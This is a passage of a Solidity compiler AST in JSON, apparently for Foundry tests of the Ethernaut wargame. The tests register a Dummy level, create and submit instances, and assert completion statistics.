isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4564:38:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":58582,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4556:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58581,"name":"address","nodeType":"ElementaryTypeName","src":"4556:7:120","typeDescriptions":{}}},"id":58595,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4556:47:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"4537:66:120"},{"assignments":[58599],"declarations":[{"constant":false,"id":58599,"mutability":"mutable","name":"dummy","nameLocation":"4619:5:120","nodeType":"VariableDeclaration","scope":58647,"src":"4613:11:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"},"typeName":{"id":58598,"nodeType":"UserDefinedTypeName","pathNode":{"id":58597,"name":"Dummy","nameLocations":["4613:5:120"],"nodeType":"IdentifierPath","referencedDeclaration":52095,"src":"4613:5:120"},"referencedDeclaration":52095,"src":"4613:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"visibility":"internal"}],"id":58603,"initialValue":{"arguments":[{"id":58601,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58580,"src":"4633:8:120","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58600,"name":"Dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52095,"src":"4627:5:120","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Dummy_$52095_$","typeString":"type(contract Dummy)"}},"id":58602,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4627:15:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"nodeType":"VariableDeclarationStatement","src":"4613:29:120"},{"expression":{"arguments":[{"hexValue":"74727565","id":58607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"4672:4:120","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":58604,"name":"dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58599,"src":"4653:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"id":58606,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4659:12:120","memberName":"setCompleted","nodeType":"MemberAccess","referencedDeclaration":52094,"src":"4653:18:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bool_$returns$__$","typeString":"function (bool) external"}},"id":58608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4653:24:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58609,"nodeType":"ExpressionStatement","src":"4653:24:120"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58611,"name":"dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58599,"src":"4698:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"id":58612,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4704:9:120","memberName":"completed","nodeType":"MemberAccess","referencedDeclaration":52084,"src":"4698:15:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":58613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4698:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58610,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"4687:10:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58614,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4687:29:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58615,"nodeType":"ExpressionStatement","src":"4687:29:120"},{"expression":{"arguments":[{"arguments":[{"id":58619,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"4762:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"id":58622,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58525,"src":"4776:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":58621,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4768:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58620,"name":"address","nodeType":"ElementaryTypeName","src":"4768:7:120","typeDescriptions":{}}},"id":58623,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4768:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58617,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"4739:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58618,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4745:16:120","memberName":"isLevelCompleted","nodeType":"MemberAccess","referencedDeclaration":56143,"src":"4739:22:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_bool_$","typeString":"function (address,address) view external returns (bool)"}},"id":58624,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4739:44:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58616,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"4727:11:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58625,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4727:57:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58626,"nodeType":"ExpressionStatement","src":"4727:57:120"},{"expression":{"arguments":[{"arguments":[{"id":58632,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58580,"src":"4832:8:120","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58631,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4824:8:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":58630,"name":"address","nodeType":"ElementaryTypeName","src":"4824:8:120","stateMutability":"payable","typeDescriptions":{}}},"id":58633,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4824:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58627,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"4794:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58629,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4804:19:120","memberName":"submitLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49100,"src":"4794:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable) external"}},"id":58634,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4794:48:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58635,"nodeType":"ExpressionStatement","src":"4794:48:120"},{"expression":{"arguments":[{"arguments":[{"id":58639,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"4886:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"id":58642,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58525,"src":"4900:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":58641,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4892:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58640,"name":"address","nodeType":"ElementaryTypeName","src":"4892:7:120","typeDescriptions":{}}},"id":58643,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4892:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58637,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"4863:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58638,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4869:16:120","memberName":"isLevelCompleted","nodeType":"MemberAccess","referencedDeclaration":56143,"src":"4863:22:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_bool_$","typeString":"function (address,address) view external returns (bool)"}},"id":58644,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4863:44:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58636,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"4852:10:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58645,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4852:56:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58646,"nodeType":"ExpressionStatement","src":"4852:56:120"}]},"documentation":{"id":58514,"nodeType":"StructuredDocumentation","src":"4065:59:120","text":"@notice Should provide instances and verify completion."},"functionSelector":"c42b6c61","implemented":true,"kind":"function","modifiers":[],"name":"testLevelCompletion","nameLocation":"4138:19:120","parameters":{"id":58515,"nodeType":"ParameterList","parameters":[],"src":"4157:2:120"},"returnParameters":{"id":58516,"nodeType":"ParameterList","parameters":[],"src":"4167:0:120"},"scope":58855,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":58777,"nodeType":"FunctionDefinition","src":"4989:756:120","nodes":[],"body":{"id":58776,"nodeType":"Block","src":"5030:715:120","nodes":[],"statements":[{"expression":{"arguments":[{"id":58655,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58064,"src":"5054:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58652,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"5040:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58654,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5043:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"5040:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58656,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5040:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58657,"nodeType":"ExpressionStatement","src":"5040:20:120"},{"assignments":[58660],"declarations":[{"constant":false,"id":58660,"mutability":"mutable","name":"level","nameLocation":"5083:5:120","nodeType":"VariableDeclaration","scope":58776,"src":"5070:18:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":58659,"nodeType":"UserDefinedTypeName","pathNode":{"id":58658,"name":"DummyFactory","nameLocations":["5070:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"5070:12:120"},"referencedDeclaration":52145,"src":"5070:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":58665,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":58663,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"5091:16:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DummyFactory_$52145_$","typeString":"function () returns (contract DummyFactory)"},"typeName":{"id":58662,"nodeType":"UserDefinedTypeName","pathNode":{"id":58661,"name":"DummyFactory","nameLocations":["5095:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"5095:12:120"},"referencedDeclaration":52145,"src":"5095:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}},"id":58664,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5091:18:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"5070:39:120"},{"expression":{"arguments":[{"id":58669,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58660,"src":"5143:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"expression":{"id":58666,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"5119:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58668,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5129:13:120","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"5119:23:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":58670,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5119:30:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58671,"nodeType":"ExpressionStatement","src":"5119:30:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58672,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"5159:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58674,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5162:9:120","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"5159:12:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58675,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5159:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58676,"nodeType":"ExpressionStatement","src":"5159:14:120"},{"expression":{"arguments":[{"id":58680,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"5198:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58677,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"5184:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5187:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"5184:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58681,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5184:19:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58682,"nodeType":"ExpressionStatement","src":"5184:19:120"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":58688,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58660,"src":"5253:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":58687,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5245:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58686,"name":"address","nodeType":"ElementaryTypeName","src":"5245:7:120","typeDescriptions":{}}},"id":58689,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5245:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58684,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"5224:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58685,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5230:14:120","memberName":"doesLevelExist","nodeType":"MemberAccess","referencedDeclaration":56411,"src":"5224:20:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view external returns (bool)"}},"id":58690,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5224:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58683,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"5213:10:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58691,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5213:48:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58692,"nodeType":"ExpressionStatement","src":"5213:48:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58693,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"5272:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58695,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5275:10:120","memberName":"recordLogs","nodeType":"MemberAccess","referencedDeclaration":12617,"src":"5272:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58696,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5272:15:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58697,"nodeType":"ExpressionStatement","src":"5272:15:120"},{"expression":{"arguments":[{"id":58701,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58660,"src":"5327:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"expression":{"id":58698,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"5297:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5307:19:120","memberName":"createLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49017,"src":"5297:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) payable external"}},"id":58702,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5297:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58703,"nodeType":"ExpressionStatement","src":"5297:36:120"},{"assignments":[58709],"declarations":[{"constant":false,"id":58709,"mutability":"mutable","name":"entries","nameLocation":"5359:7:120","nodeType":"VariableDeclaration","scope":58776,"src":"5343:23:120","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log[]"},"typeName":{"baseType":{"id":58707,"nodeType":"UserDefinedTypeName","pathNode":{"id":58706,"name":"Vm.Log","nameLocations":["5343:2:120","5346:3:120"],"nodeType":"IdentifierPath","referencedDeclaration":12060,"src":"5343:6:120"},"referencedDeclaration":12060,"src":"5343:6:120","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_storage_ptr","typeString":"struct VmSafe.Log"}},"id":58708,"nodeType":"ArrayTypeName","src":"5343:8:120","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_storage_$dyn_storage_ptr","typeString":"struct VmSafe.Log[]"}},"visibility":"internal"}],"id":58713,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58710,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"5369:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58711,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5372:15:120","memberName":"getRecordedLogs","nodeType":"MemberAccess","referencedDeclaration":12595,"src":"5369:18:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$_t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr_$","typeString":"function () external returns (struct VmSafe.Log memory[] memory)"}},"id":58712,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5369:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"5343:46:120"},{"assignments":[58715],"declarations":[{"constant":false,"id":58715,"mutability":"mutable","name":"instance","nameLocation":"5408:8:120","nodeType":"VariableDeclaration","scope":58776,"src":"5400:16:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":58714,"name":"address","nodeType":"ElementaryTypeName","src":"5400:7:120","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":58731,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"baseExpression":{"expression":{"baseExpression":{"id":58722,"name":"entries","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58709,"src":"5443:7:120","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"id":58724,"indexExpression":{"hexValue":"30","id":58723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5451:1:120","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5443:10:120","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_memory_ptr","typeString":"struct VmSafe.Log memory"}},"id":58725,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5454:6:120","memberName":"topics","nodeType":"MemberAccess","referencedDeclaration":12055,"src":"5443:17:120","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":58727,"indexExpression":{"hexValue":"32","id":58726,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5461:1:120","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5443:20:120","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":58721,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5435:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58720,"name":"uint256","nodeType":"ElementaryTypeName","src":"5435:7:120","typeDescriptions":{}}},"id":58728,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5435:29:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":58719,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5427:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":58718,"name":"uint160","nodeType":"ElementaryTypeName","src":"5427:7:120","typeDescriptions":{}}},"id":58729,"isConstant":false,"isLValue":false,"isPure":false,"kind":